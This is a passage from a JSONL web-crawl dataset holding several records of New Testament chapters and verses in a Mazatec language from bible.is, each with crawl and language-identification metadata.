jñà xi̱ta̱ kiìchja̱jno-nò ko̱ kiskaànko̱-nò nga nguixko̱n xi̱ta̱ na̱xa̱ndá. Tikoa̱á kis'eé na̱chrjein nga jñò, kijtsahijtako̱ jñà xi̱ta̱ xinguio̱o xi ti̱koa̱ kjo̱'in nchisíkjeiín. 34 Jñò, kjòhi̱ma̱chaà xi̱ta̱ xi kjo̱'in nchisíkjeiín nga nda̱yá titsa̱jna; ko̱ ti̱koa̱ mì kiì kòjti-nò k'e̱ nga kjòchijé-nò tsojmì-nò, ta sa̱á kjòtsjaá-nò nga jye tíjiìn-nò nga ján ngajmiì tjín-nò tsojmì xi ìsa̱ ndaà kjoàn xi mì kiì fehit'aà ni̱ta̱mé na̱chrjein-ne. 35 Kì nìchija-jèn koni s'ín kjit'aà takon Nainá nga ya̱á tjoé-nò jè xi 'ñó tsee chjí-la̱. 36 Mochjeèn-né nga s'e̱-nò kjoa̱tsetakòn kjoa̱ ts'e̱ kjo̱'in, mé-ne k'e̱ nga jye kitasòn koni s'ín mejèn-la̱ Nainá tjoé-nò xi tsjá-nò koni s'ín jye kitsjaà 'én-la̱ xi tso'ba kiìchja̱-ne. 37 K'oa̱ás'ín chja̱ xo̱jo̱n xi tjit'aà 'én-la̱ Nainá nga tsò: Ta jngoò tjò chija-la̱ nga kjoi̱í jè xi sa nchrobá. Mì kiì ko̱chrjein-la̱. 38 Jè xi xi̱ta̱ kixi̱ kíjnakon-né nga mokjeiín-la̱, ta̱nga tsà ko̱sit'aà xìn, mìkiì sasén-la̱ ini̱ma̱-na̱. 39 Ta̱nga jñá, mì k'oa̱á s'e̱én koni s'ín xi̱ta̱ xi íts'i̱n fì-ne nga síchija ini̱ma̱-la̱. Ta sa̱á ya̱á kjiaán ya̱ i̱'nde ñánda ki̱tjokàjiìn kjo̱'in ini̱ma̱-ná koi kjoa̱-la̱ nga mokjeiín-ná.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/10","date":"2013-05-20T01:51:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698203920\/warc\/CC-MAIN-20130516095643-00083-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000028610229492}","num_words":936,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:3\n3 —Mé tà ndaà-la̱ jñà xi̱ta̱ xi machi̱ya-la̱ nga mochjeèn-la̱ kjo̱ndaà-la̱ Nainá; xi̱ta̱ koi, jyeé ts'e̱ ngats'iì kjo̱ndaà xi tjín ya̱ ñánda tíhotíxoma jè xi ngajmiì nchrobá-ne.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/3","date":"2013-06-18T21:02:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707188217\/warc\/CC-MAIN-20130516122628-00064-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9993950129,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9993950128555298}","num_words":47,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.234,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 K'e̱ nga komà 'òn na̱chrjein, ijchò Ananías ya̱ Cesarea xi xi̱ta̱ sko̱-la̱ no̱'miì. Tji̱ko̱ i'nga xi̱ta̱ jchínga xi xá tjín-la̱ ts'e̱ xi̱ta̱ judío ti̱koa̱ tji̱ko̱ jngoò xi̱ta̱ xi 'mì Tértulo xi chji̱ne̱ xo̱jo̱n ts'e̱ kjo̱tíxoma. Jñà xi̱ta̱ koi kiìkon Félix jè xi xi̱ta̱xá ítjòn tíjna nga kitsjaàtin 'én xi kondra̱ ts'e̱ Pablo. 2 K'e̱ nga jye ijchòko̱ Pablo nguixko̱n xi̱ta̱xá, tsibíts'ia̱ Tértulo nga kitsjaàtin 'én xi kondra̱ ts'e̱ Pablo; kitsò-la̱ Félix: —Ngaji̱ xi xi̱ta̱xá ítjòn tijni, ndaà yaxkón-leje̱n. Nga i̱t'aà tsi̱ji, 'ñó tísakó-naji̱n kjoa̱'nchán. Ndaà xá xi tíbitasòn i̱ na̱xa̱ndá-na̱je̱n xi kjoa̱ chji̱ne̱ tsi̱ji̱. 3 Kjit'aà na̱chrjein, kóho̱kji ñánda titsa̱jna-je̱n tjoé-naje̱n kjo̱ndaà tsi̱ji. Ndaà chjí-lè nga k'oa̱ s'ín nìchját'aà-náje̱n. 4 Majìn-naje̱n nga sií s'e̱n-lèje̱n; tjín-le kjo̱ndaà, ti̱ná'ya i̱tsé-náje̱n. 5 K'oa̱á s'ín ki'ya-je̱n xi̱ta̱ jè nga tíjtsa i̱sò'nde 'ñó ch'o tjín kjoa̱ xi ótsji nga síjóya xi̱ta̱ judío; jè-né xi xi̱ta̱ ítjòn-la̱ xi̱ta̱ Nazaret xi síkjatjiya ndi̱yá-la̱ Nainá. 6 Ti̱koa̱á mejèn-la̱ ch'o kisìtjé I̱ngo̱ Tsjeè-la̱ Nainá, k'oa̱á ma-ne nga kindobà'ñó-je̱n. [Mejèn k'oa̱s'ín si̱ko̱-je̱n koni s'ín tíchja̱ kjo̱tíxoma tsaje̱n, 7 ta̱nga jè Lisias xi xi̱ta̱ sko̱-la̱ soldado tsasìko̱. Ko̱ó kjoa̱ts'en tsafaá'an-naje̱n k'e̱ nga jye tínaya ntsa̱a-je̱n. 8 Ko̱ k'oa̱á kitsò Lisias nga jñà xi̱ta̱ xi óngui, i̱í kjoi̱í nguixkoiìn nga si̱ndaàjiìn.] Ko̱ma ngaji̱ sobà chjinangui-la̱ mé-ne nga jcha̱-ne mé kjoa̱ xi tjín-la̱ nga ongui-je̱n. 9 Jñà xi̱ta̱ judío xi ya̱ títsa̱jna, ti̱koa̱á síngásòn 'én nga kixi̱ kjoa̱. 10 Jè xi̱ta̱xá ítjòn kiskiìmiìtje̱n tsja nga kitsjaà'nde-la̱ Pablo nga kiìchja̱. Pablo kitsò: —Ji̱ xi̱ xi̱ta̱xá ítjòn tijni, tíjiìn-na nga kò kjìn nó tìnìkitasoìn xá i̱ i̱'nde jè; k'oa̱á ma-ne nga ko̱ kjo̱tsja-na̱, ti̱ 'an kichjàtjì-na yijo-na̱. 11 Ngaji̱, ko̱maá ki̱nchátsjiyi. 'An, sa̱á tjín-la̱ tejò na̱chrjein nga kiaà Jerusalén ya̱ i̱ngo̱ ítjòn nga kijtseèxkoán Nainá. 12 Ni̱ sa̱á jngoò k'a 'ya-na nga xi̱ta̱ otiìkjoòkoa̱a, ti̱koa̱á mì xi̱ta̱ na̱xa̱ndá binchaà'a ya̱ ndi̱tsin i̱ngo̱ ítjòn, ko̱ ni'ya i̱ngo̱ sinagoga, ko̱ ya̱ i̱jiìn na̱xa̱ndá. 13 Jñà xi̱ta̱ xi óngui-na mì kiì ko̱ma ko̱kixi̱ya-la̱ kjoa̱ xi ónè-na. 14 K'oa̱á xán-lè xi nguì kixi̱ kjoa̱, 'an, jè sìkitasòn-la̱ xi Nainá tsò-la̱ xi̱ta̱ jchínga-naje̱n; k'oa̱á s'ín sìkitasoàn koni s'ín tjín jè ndi̱yá xi̱tse̱-la̱ Cristo, jè xi tsò-la̱ jñà xi̱ta̱ koi nga ndi̱yá xìn-la̱ Nainá-né. 'An, mokjeiín yije-na koni s'ín tíchja̱ xo̱jo̱n ts'e̱ kjo̱tíxoma-la̱ Nainá xi kiskiì Moisés ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo-la̱ Nainá. 15 'An, k'oa̱á ti̱ s'ín mokjeiín-na i̱t'aà ts'e̱ Nainá koni s'ín mokjeiín-la̱ jñà xi̱ta̱ xi óngui-na nga faáya-la̱ xi̱ta̱ xi biya, jñà xi xi̱ta̱ kixi̱ ko̱ xi mì tsà xi̱ta̱ kixi̱. 16 Koií k'oa̱ s'ín bìnè-la̱ yijo-na̱ nga tsjeè síkíjna kjo̱hítsjeèn-na̱ nguixko̱n Nainá ko̱ nguixko̱n xi̱ta̱. 17 'Nga jye kò kjìn nó mì ti̱ kiì f'i̱-na na̱xa̱ndá-na̱ Jerusalén, j'i̱í ìjngoò k'a-na nga j'i̱ko̱-la̱ to̱n jñà xi̱ta̱ i̱ma̱ ko̱ kitsja-la̱ kjo̱tjò Nainá. 18 K'oa̱á tjín kjoa̱ xi tìs'iàn k'e̱ nga jye kisìtsjeèya yijo-na̱ koni tjín kjo̱tíxoma-la̱ xi̱ta̱ judío. K'e̱ nga kijtseè-na jñà xi̱ta̱ judío xi Asia i̱'nde-la̱ nga ya̱ tijna̱ ya̱ ndi̱tsin i̱ngo̱, mì tsà kjìn ma xi̱ta̱ xi títsa̱jnako̱-na. Ti̱koa̱á mì tsà kjoa̱siì tìbìts'ia. 19 Jñà xi̱ta̱ xi kijtseè-na ya̱ ndi̱tsin i̱ngo̱, tsà mé kjoa̱ xi tjín-la̱ xi kondra̱ ts'a̱n, jñà sabá kàtjanchrobá nga kàtatsjá 'én. 20 Tsà majèn, jñà xi̱ta̱ xi i̱ títsa̱jna kàteèno̱jmí tsà mé jé kisakòt'a-la̱ i̱t'aà ts'a̱n k'e̱ nga tsohóti̱jna nguixko̱n xi̱ta̱xá judío. 21 A xi koií jé xi tíma-na nga 'ñó kichjà k'e̱ nga tìjnajiìn-la̱ xi̱ta̱xá judío nga kixan-la̱: \"Na̱chrjein i̱'ndei̱ tísindaàjiìn-na nga mokjeiín-na nga faáya-la̱ xi̱ta̱ xi biya.\" 22 Jè Félix, ndaà tíjiìn-la̱ koni s'ín tjín ndi̱yá xi̱tse̱ ts'e̱ Jesucristo. Tsibíchróbá kjoa̱ koi. Kitsò: —K'e̱ nga kjoi̱í Lisias xi xi̱ta̱ sko̱-la̱ soldado, k'e̱é skònanguì-ìsa̱-nò kjoa̱ xi tjín-nò. 23 Félix kitsjaà-la̱ o̱kixi̱ jñà soldado-la̱ nga si̱ìkíjna ìsa̱ nda̱yá Pablo, ta̱nga ko̱maá ko̱jme'ndei̱í ya̱ i̱ya nda̱yá, ti̱koa̱á ko̱maá ki̱jchòkon xi̱ta̱ xíkjín ko̱ amigo-la̱. 24 K'e̱ nga komà jàn ñijòn na̱chrjein, ijchò ìjngoò k'a Félix; tji̱ko̱ Drusila xi chjo̱ón-la̱ ma xi ti̱koa̱ xi̱ta̱ judío. Kiskinikjaá Pablo nga mejèn-la̱ kji̱'nchré-la̱ kós'ín mokjeiín-la̱ i̱t'aà ts'e̱ Na̱'èn-ná Jesucristo. 25 Pablo, tsibeèno̱jmí-la̱ kós'ín tjín xi kjoa̱ kixi̱, mé xi s'e̱én nga kíkjoán-lá kjoa̱ xi ch'o tjín xi síjé yijo-ná; ti̱koa̱ tsibeèno̱jmí-la̱ nga sa̱ nchrobá na̱chrjein nga Nainá ki̱ìndaàjiìn. Félix tà kitsakjòn-né; k'e̱è kitsò-la̱: —T'in-ne. Kj'ei̱í na̱chrjein kichjà ìjngoò k'a-lè k'e̱ nga ko̱'an-na. 26 Jè Félix, k'oa̱á s'ín tísíkítsjeèn, mejèn-la̱ to̱n ko̱chrjekájno-la̱ Pablo nga si̱ìkíjnandei̱í; k'oa̱á ma-ne nga kjìn k'a kiìchja̱-la̱. 27 K'e̱ nga tsato jò nó, jatjìya xá-la̱ Félix. Jè jahas'en xi 'mì Porcio Festo. Jè Félix, mejèn-la̱ nga ndaà tsibìjnako̱ jñà xi̱ta̱ judío; kisìkíjna ìsa̱ nda̱yá Pablo.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/24","date":"2013-05-20T11:31:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698924319\/warc\/CC-MAIN-20130516100844-00054-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999921321868896}","num_words":704,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.31,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Timoteo 1:9\n9 Nainá, jyeé tsachrjekàjiìn-ná kjo̱'in. K'oa̱á s'ín kiìchja̱-ná nga tsjeè si̱jchá yijo-ná. Mì tsà koi kjoa̱-la̱ nga ndaà ki'nè. Koi-né nga k'oa̱ s'ín kjòmejèn-la̱ Nainá ti̱koa̱ kitsjaà-ná kjo̱ndaà-la̱ xi i̱t'aà ts'e̱ Cristo skanda tis'a̱ tàts'en-la̱ kjoa̱ k'e̱ nga ti̱ kj'eè sindaà i̱sò'nde.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/9","date":"2013-05-25T05:58:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705559639\/warc\/CC-MAIN-20130516115919-00016-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.999895215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9998952150344849}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ndí 'ntsè ko̱ ndí tichjaá, k'oa̱á s'ín tsakòya-nòje̱n nga koa̱s'ín si̱jchá yijo-nò koni s'ín sasén-la̱ Nainá. Ko̱ kixi̱í kjoa̱, jyeé ko̱s'ín titsa̱'nè. Ta̱nga i̱'ndei̱ bítsi'ba-nòje̱n ti̱koa̱ bìnè-nòje̱n i̱t'aà ts'e̱ Jesús xi otíxoma-ná nga isa̱á 'ñó ndaà tjiì-là nga'ñó yijo-nò nga ko̱s'ín ti̱kitasòn. 2 Jyeè tíjiìn-nò kó s'ín tjín kjo̱tíxoma xi kits'iì-nòje̱n koni s'ín kitsjaà-naje̱n jè Jesucristo xi otíxoma-ná. 3 Jè xi mejèn-la̱ Nainá nga nguiì tsjeè si̱jchá yijo-nò, mì ti̱ kjoa̱ chijngui si̱s'in-là. 4 Nga jngoò ìjngoò-nò ti̱kinda̱a yijo-nò; k'oa̱á s'ín ti̱kjeén nga ngui tsjeè ti̱tsa̱jna koni s'ín sasén-la̱ Nainá. 5 Kì bi'nde-là nga síkijne-nò jñà kjoa̱ ch'o xi síjé yijo-nò koni s'ín jñà xi̱ta̱ xi mì kiì beèxkon Nainá. 6 Jñò xi 'ntsé chibá i̱t'aà ts'e̱ Cristo, kì k'oa̱á tjín kjoa̱ xi kaàjñoò mé-ne nga mì xinguio̱o chóna̱cha̱n-là nga mì xinguio̱o jcha̱ton. Tsà k'oa̱s'ín s'eèn, kjo̱'iín tsjá-nò Nainá. Jyeé k'oa̱s'ín tsibeèno̱jmí-nòje̱n. 7 Nainá mìtsà koi xá kiìchja̱-ná nga ch'o s'eén, jè xi mejèn-la̱ nga tsjeè ki̱tsa̱jnaá. 8 Jè xi ochrjekàngui kjoa̱ koi, mìtsà kjo̱hítsjeèn ts'e̱ xi̱ta̱ ochrjekàngui, kjo̱hítsjeèn ts'e̱ Nainá ochrjekàngui; nga jè xi tsjá-nò Ini̱ma̱ Tsjeè-la̱. 9 Mì kiì mochjeèn nga xo̱jo̱n skiít'aà isa̱-nò xi ts'e̱ kjoa̱tjòcha. Nainá jye tsakóya-nò kós'ín si̱ìtjòchaà xinguio̱o nga jngoò ìjngoò. 10 Jyeé ko̱s'ín titsa̱'nè nga matsjachaà ngats'iì xi̱ta̱ xinguio̱o xi títsa̱jna kóhokji ya̱ nangui Macedonia. Ta̱nga k'oa̱á s'ín bìtsi'ba-nòje̱n nga isa̱ ndaà ti̱tsjachaà xinguio̱o. 11 Tìnè-là yijo-nò nga 'nchán titsa̱jna, kì kjoa̱-la̱ xinguio̱o chingàjñoò, t'e̱en xá-nò koni tjín xá xi ma-nò, koni s'ín jye ki'mì-nòje̱n ngats'iì kjoa̱ koi. 12 Mé-ne nga skoe̱xkón-nò jñà xi̱ta̱ xi mì kiì mokjeiín-la̱ 'én-la̱ Nainá. Koa̱ jñò, ni̱mé chijat'aà-nò. 13 Ndí 'ntsè ko̱ ndí tichjaá, mejèn-naje̱n nga kàtasijiìn-nò mé kjoa̱ xi matin jngoò xi̱ta̱ xi biyaà, mé-ne nga mì ko̱baá-nò koni jñà xi̱ta̱ xi nìmé nchikoña-la̱. 14 Koni s'ín mokjeiín-ná nga Jesús k'en, i̱kjoàn jaháya-la̱, k'oa̱ ti̱ s'ín mokjeiín-ná nga Nainá si̱ìkjaháya-la̱ xi̱ta̱ xi jye k'en, jñà xi mokjeiín-la̱ i̱t'aà ts'e̱ Jesús. 15 Nga̱ koií 'én beèno̱jmíya-je̱n koni tsò 'én xi tsibíjna Jesús nga jñá xi titsa̱jnakoaán skanda k'e̱ nga kjoi̱í ìjngoò k'a Na̱'èn-ná Jesucristo, mìtsà jñá kjiín ítjòn-lá jñà xi jye k'en. 16 Nga̱ jè sobà Na̱'èn-ná kitjojen ìjngoò k'a-ne ngajmiì; 'ñó ki̱chja̱ nga tsjá o̱kixi̱, ki̱ná'ya jngoò-la̱ jta̱ ts'e̱ àkja̱le̱ ítjòn, ko̱ ki̱ná'ya-la̱ chrjo-la̱ Nainá; i̱kjoàn jñà xi̱ta̱ xi jye k'en nga mokjeiín-la̱ i̱t'aà ts'e̱ Cristo, kjoa̱áya ítjòn-la̱. 17 I̱kjoàn jñá xi tákó titsa̱jnakoaán jè na̱chrjein jè, ya̱á támijiìntje̱nkoa̱á i̱jiìn ifi nga kixokjoaá Nainá ya̱ i̱jiìn i̱sén. K'oa̱ás'ín ko̱ma nga ya̱ ki̱tsa̱jnakoa̱á Nainá ni̱ta̱mé na̱chrjein-ne. 18 K'oa̱á ma-ne nga ti̱je takòn xinguio̱o nga teno̱jmìya-là koni tsò jñà 'én koi.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Thess\/4","date":"2013-05-25T05:38:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705559639\/warc\/CC-MAIN-20130516115919-00019-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.000002384185791}","num_words":407,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Lucas 7:41\n41 Jesús kitsò: —Jò xi̱ta̱ títsa̱jna xi to̱n tje̱n-la̱ ts'e̱ xi̱ta̱ xi síkìña to̱n; jngoò xi òn sìndo̱ tje̱n-la̱; jè xi ìjngoò icháte tje̱n-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/7\/41","date":"2013-05-20T08:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698646863\/warc\/CC-MAIN-20130516100406-00083-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9920184612,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.992018461227417}","num_words":44,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 5:29\n29 'Tsà jñà xkoòn kixi̱ ótsji jé-nò, ti̱na̱chrjeè; kjiìn ti̱katsjoò. Ìsa̱á ndaà-ne tsà chija jngoò xkoòn mì k'oa̱á-ne tsà ya̱ ki̱xo̱jiìn yije yijo-nò ya̱ i̱jiìn ni'ìn ya̱ i̱'nde kjo̱'in.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/5\/29","date":"2013-05-22T00:51:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700984410\/warc\/CC-MAIN-20130516104304-00002-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9987946153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9987946152687073}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jñò xi xi̱ta̱-la̱ Nainá 'mì-nò xi titsa̱jnaà na̱xa̱ndá Éfeso, jñò, xi kixi̱ onguít'aà-la Cristo Jesús, 'an xi 'mì-na Pablo tísíhixot'aà-nò nga 'an tsibíxáya-na Jesucristo nga k'oa̱s'ín kjòmejèn-la̱ Nainá. 2 Nainá xi Na̱'èn-ná, ko̱ jè Jesucristo xi otíxoma-ná kàtatsjá-nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱-nò. 3 Jeya kàtìjna Nainá, Na̱'èn-la̱ Jesucristo xi otíxoma-ná nga kisìchikontin-ná, kitsjaà-ná ngats'iì kjo̱ndaà xi ts'e̱ ini̱ma̱-ná xi ngajmiì nchrobá-ne koi kjoa̱-la̱ nga Cristo titsa̱jnakoa̱á. 4 Nainá xó k'oa̱á s'ín jaàjiìn-ná k'e̱ nga ti̱ kj'eè sindaà i̱sò'nde nga Cristo titsa̱jnakoa̱á méne nga ni̱mée jé s'e̱-ná ko̱ tsjeè ki̱tsa̱jnaá nguixko̱n jè. 5 Koi-né nga matsjakeè-ná nga k'oa̱s'ín kiskoòsòn-la̱ nga ti̱sa̱-ne nga kiskoétjò-ná koni i̱xti jcha̱n-la̱ maá xi i̱t'aà ts'e̱ Jesucristo. Nainá k'oa̱á s'ín kis'iìn koni s'ín kisasèn-la̱ ta koi kjoa̱-la̱ nga k'oa̱s'ín kjòmejèn-la̱. 6 Koií kjoa̱-la̱ nga jeya bìjna Nainá nga tse kjo̱ndaà kitsjaà-ná nga kisìchikontin-ná nga ya̱ titsa̱jnakoa̱á ki'ndí-la̱ xi 'ñó matsjakeè. 7 Jè jní-la̱ Jesucristo tsibíchjítjì-ná koa̱ kisìjchat'aà-ná jé-ná nga Cristo titsa̱jnakoa̱á, nga 'ñó tseé kjo̱ndaà tjín-la̱ Nainá nga tsjá-ná kjo̱hítsjeèn ko̱ kjoa̱chji̱ne̱ xi tjín-la̱. 9 K'oa̱á ma-ne nga ti̱koa̱ tsakó-ná jè kjoa̱tjí'ma-la̱ koni s'ín kjòmejèn-la̱ jè, ti̱koi̱i-ne kjo̱hítsjeèn-la̱ xi ti̱jè-ne kiskoòsòn-la̱ nga ki̱tasòn. 10 Koni s'ín tjíndaà-la̱ kjo̱hítsjeèn jè, ki̱jchò na̱chrjein nga ki̱tasòn tsjeè. Nainá, jè síjngoò yije ni̱ta̱ mé xi tjín ngajmiì ko̱ i̱t'aà nangui nga jè Cristo ko̱tìxoma. 11 Nainá jye kjòtseé jaàjiìn-naje̱n nga Cristo titsa̱jnako̱-je̱n. Kitjoé-naje̱n kjo̱tjò xi tsjá Nainá koni s'ín tjíndaà-la̱ nga k'oa̱s'ín bitasòn 'én-la̱ koni s'ín ndaà sasèn-la̱. 12 K'oa̱á s'ín kis'iìn nga ngaje̱n kinìkítsa̱jna ítjòn-je̱n nga jeya tíjna Nainá, ngaje̱n xi xi̱ta̱ judío 'mì-naje̱n, ngaje̱én kòkjeiín ítjòn-naje̱n i̱t'aà ts'e̱ Cristo. 13 Ti̱koa̱á jñò nga ya̱ titsa̱jnako̱o Cristo, k'e̱ nga kina'yà 'én ndaà-la̱ Nainá xi kjoa̱ kixi̱, jè xi ochrjekàjiìn-ná kjo̱'in, nga kòkjeiín-nò i̱t'aà ts'e̱ Cristo, Nainá kitsjà-nò Ini̱ma̱ Tsjeè-la̱; ya̱á tsibít'aà chi̱ba̱-la̱ i̱jiìn ini̱ma̱-nò, koni s'ín jye kitsjaà tso'ba nga tsjá-nò. 14 Jè Ini̱ma̱ Tsjeè-la̱ Nainá, jè-né xi tjoé ítjòn-ná nga kixi̱ kjoa̱ nga tjoé yije-ná kjo̱tjò xi Nainá tsjá-ná jè na̱chrjein k'e̱ nga ko̱ngásòn nga si̱ìkítsa̱jnandei̱í-ná xi na̱xa̱ndá-la̱ maá mé-ne nga jeya kíjna-ne Nainá. 15 Koií kjoa̱-la̱ k'e̱ nga ki'nchrè nga mokjeiín-nò i̱t'aà ts'e̱ Jesucristo xi otíxoma-ná, ko̱ nga matsjachaà ngats'iì xi̱ta̱-la̱ Nainá; 16 mì kiì sijcha̱ajñaà nga na̱chrjein inchijòn tsjaà-la̱ kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn; k'e̱ nga bítsi'ba-la̱, síjét'aà-la̱ xi kjo̱ndaà tsa̱jòn 17 mé-nè nga jè Na̱'èn-ná xi jeya tíjna, jè xi Nainá tsò-la̱ Jesucristo xi otíxoma-ná, jè kàtasíkíhichiya-nò ko̱ kàtatsjá-nò kjoa̱chji̱ne̱ xi ts'e̱ ini̱ma̱-nò mé-ne nga ìsa̱ ndaà jcha̱xkon-nò Nainá. 18 K'oa̱á s'ín síjét'aà-la̱ Nainá nga si̱ìhiseèn-la̱ kjo̱hítsjeèn-nò mé-nè nga jcha̱-nò mé xi chiñà-là nga xó kinokjoàa-nò. Ti̱koa̱á jcha̱a nga 'ñó ndaà tjín ko̱ 'ñó jeya tjín kjo̱tjò xi Nainá tsjá-la̱ jñà xi̱ta̱ na̱xa̱ndá-la̱. 19 Ti̱koa̱á síjét'aà-la̱ nga jcha̱xkon kó kji 'ñó tse nga'ñó tjín-la̱ Nainá nga ko̱ma ko̱si̱ko̱-ná jñá xi mokjeiín-ná i̱t'aà ts'e̱. Ti̱koií-ne nga'ñó xi 'ñó tse tjín-la̱ Nainá 20 xi kisìkjeén nga kisìkjaáya-la̱ Cristo k'e̱ nga k'en, i̱kjoàn jeya kisìkíjnat'aà chrja kixi̱-la̱ ján ngajmiì 21 ñánda nga isa̱ ta 'ñó 'nga kisìkíjna ítjòn mì k'oa̱á-ne tsà jngoò xi̱ta̱ ítjòn, xi̱ta̱xá ítjòn, ngats'iì nga'ñó xi tjín i̱ i̱t'aà nangui ko̱ xi tjín i̱jiìn i̱sén, ngats'iì xi tjín-la̱ kjo̱tíxoma ngajmiì; tíjna ítjòn-la̱ ngats'iì xi tjín i̱sò'nde jè, ko̱ jè i̱sò'nde xi sa̱ nchrobá. 22 Nainá, jè kisìnga̱tsja yije Cristo, ngats'iì kjo̱tíxoma xi tjín; ti̱koa̱á jè kitsjaà yije-la̱ Cristo nga jè ko̱ma xi sko̱-la̱ na̱xa̱ndá-la̱. 23 Na̱xa̱ndá-la̱ ti̱jè-ne yijo-la̱ Cristo; ko̱ jè tsjá yije-la̱ ni̱ ta mé xi chija-la̱. Ti̱jè-ne Cristo xi síjngoò yije, ni̱ ta mé xi tjín i̱sò'nde.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/1","date":"2013-05-26T08:34:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706762669\/warc\/CC-MAIN-20130516121922-00053-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 0.9999978542327881}","num_words":554,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 11:12\n12 'Tje̱n-ne nga j'i̱ Juan xi kis'iìn bautizar xi̱ta̱, jè kjo̱tíxoma-la̱ ngajmiì, tse kjoa̱si tísakó-la̱ skanda na̱chrjein i̱'ndei̱; jñà xi̱ta̱ ts'e̱n mejèn-la̱ nga kàtachija kjo̱tíxoma.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/12","date":"2013-05-23T04:34:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368702810651\/warc\/CC-MAIN-20130516111330-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9976662397,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 